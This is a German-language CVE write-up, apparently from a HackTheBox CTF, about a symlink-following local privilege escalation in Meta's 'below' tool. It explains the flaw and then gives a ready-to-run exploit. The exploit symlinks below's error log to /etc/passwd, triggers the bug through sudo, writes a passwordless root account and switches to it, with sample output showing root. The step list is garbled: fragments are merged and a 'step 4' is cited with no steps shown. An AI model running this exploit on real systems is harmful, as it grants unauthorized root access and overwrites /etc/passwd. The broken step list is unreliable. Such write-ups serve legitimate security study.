
CVE-2025-27591 – Meta below symlink following lokale Privilegienausweitung (HackTheBox CTF)
below Symlink Lokale Privilegieneskalation| Feld | Details |
|---|---|
| CVE | CVE-2025-27591 |
| Software | Meta below (Systemressourcenmonitor) |
| Betroffene Versionen | < 0.9.0 |
| Schwachstelle | Symlink-Verfolgung → beliebiges Dateiüberschreiben als root |
| Authentifizierung | Lokaler Benutzer mit sudo-Zugriff auf below |
| Auswirkung | Lokale Privilegieneskalation zu root |
| Kontext | Entdeckt während eines HackTheBox CTF |
Das Systemressourcen-Überwachungstool below (von Meta Platforms, Inc.) enthält einen Fehler in seinem Fehlerprotokollierungsmechanismus. Wenn es über sudo aufgerufen wird, setzt es zwangsweise Berechtigungen 0666 für seine Protokolldateien in /var/log/below/, ohne zuvor zu prüfen, ob der Zielpfad ein Symlink ist. Dies erlaubt einem lokalen Angreifer, die Protokolldatei durch einen Symlink zu ersetzen, der auf eine beliebige root-beschreibbare Datei verweist, und diese effektiv mit kontrolliertem Inhalt zu überschreiben.
Der Protokollierungscode in below < 0.9.0 führt diese Operationen sequenziell aus, wenn er als root ausgeführt wird:
/var/log/below/error_root.logchmod(path, 0o666) auf — ohne zu prüfen, ob es ein Symlink istIn Schritt 4, wenn der Pfad vor der Ausführung durch einen Symlink ersetzt wurde, erfolgt das Schreiben stattdessen auf das Ziel des Symlinks.
Lokaler Benutzer
│
▼
Entferne /var/log/below/error_root.log
│
▼
Erstelle Symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Löse Fehler aus mit: sudo /usr/bin/below replay --time "invalid"
│ (below öffnet die "Protokolldatei", chmod 0666 trifft /etc/passwd, schreibt Fehler)
▼
/etc/passwd ist jetzt weltweit beschreibbar
│
▼
Füge unechten root-Eintrag hinzu: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root-Shell
--time "invalid" funktioniertDie Übergabe einer ungültigen Zeitzeichenfolge zwingt below, eine Fehlermeldung zu protokollieren. Der Fehlerpfad erreicht den Protokollierungscode, der blind in die Datei schreibt, die jetzt unser Symlink ist.
chmod +x exploit.sh
./exploit.sh
Voraussetzung: Der aktuelle Benutzer muss
sudo-Rechte haben, um/usr/bin/belowauszuführen.
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
Die Schwachstelle wurde in below Version 0.9.0 behoben. Der Fix führt eine Symlink-Prüfung vor allen Dateioperationen im Protokollierungspfad ein.